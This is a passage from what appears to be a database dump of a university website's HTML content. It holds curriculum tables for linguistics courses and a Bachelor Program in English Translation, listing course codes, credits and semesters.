margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING\r\n  505</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Applied\r\n  Linguistics</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING 607</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Linguistics</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING 613</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Research Methods and writing</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING 614</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Linguistic typology </em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p></td></tr></tbody></table></div></strong>'),(925,607,'en','Khazar Courier (Student Newspaper)','Khazar Courier (Student Newspaper)',''),(920,604,'en','Curriculum','Curriculum','<h3 style=\"text-align:center\"><strong>School\r\nof Humanities and Social Sciences</strong></h3>\r\n<h3 style=\"text-align:center\"><strong>Curriculum\r\n</strong></h3>\r\n<h3 style=\"text-align:center\"><strong>Bachelor\r\nProgram in English Translation (132 credits)</strong></h3>\r\n<p><strong>&nbsp;</strong></p>\r\n<table width=\"981\" cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"83\">\r\n  <p><strong>Code</strong></p>\r\n  </td>\r\n  <td width=\"270\">\r\n  <p><strong>Course</strong></p>\r\n  </td>\r\n  <td width=\"60\">\r\n  <p><strong>Credits</strong></p>\r\n  </td>\r\n  <td width=\"57\">\r\n  <p><strong>Note</strong></p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:solid=\"\" black=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>Code</strong></p>\r\n  </td>\r\n  <td width=\"306\">\r\n  <p><strong>Course</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" width=\"60\">\r\n  <p><strong>Credits</strong></p>\r\n  </td>\r\n  <td width=\"45\">\r\n  <p><strong>Note</strong></p>\r\n  </td>\r\n </tr>\r\n <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr id=\"zebra\">\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:290.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"387\">\r\n<strong>I\r\n  semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:308.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"411\">\r\n  <strong>II\r\n  semester (Spring)</strong>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>ENGL 101</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>English Foundations-1 ( 12 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>4</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>ENGL 102</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>English Foundations-2 (12 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>4</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>UR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>AZLL\r\n  101</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>Azerbaijani\r\n  Language </p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>AZLL\r\n  105</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>Azerbaijani\r\n  Literature </p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>UR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>Azerbaijani\r\n  Culture </p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>CMS\r\n  101</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>Introduction\r\n  to CS(Math and Natural Sciences-1)</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>GER</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>Social\r\n  – 1&nbsp;&nbsp; </p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>Social\r\n  – 2 (Mülki\r\n  müdafiə)</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>GER</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>HIST\r\n  150</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>Azerbaijani\r\n  history</p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>Azerbaijan\r\n  language 2 &nbsp;</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>16</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>16</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr id=\"zebra\">\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:290.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"387\">\r\n  <strong>III\r\n  semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:308.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"411\">\r\n  <strong>IV\r\n  semester (Spring)</strong>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>ENGL 103</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Academic English &nbsp;( 8 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>4</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>Foreign\r\n  language 2 </p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>GER</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>ENG 108</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Phonetics </strong><strong>(4\r\n  hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" 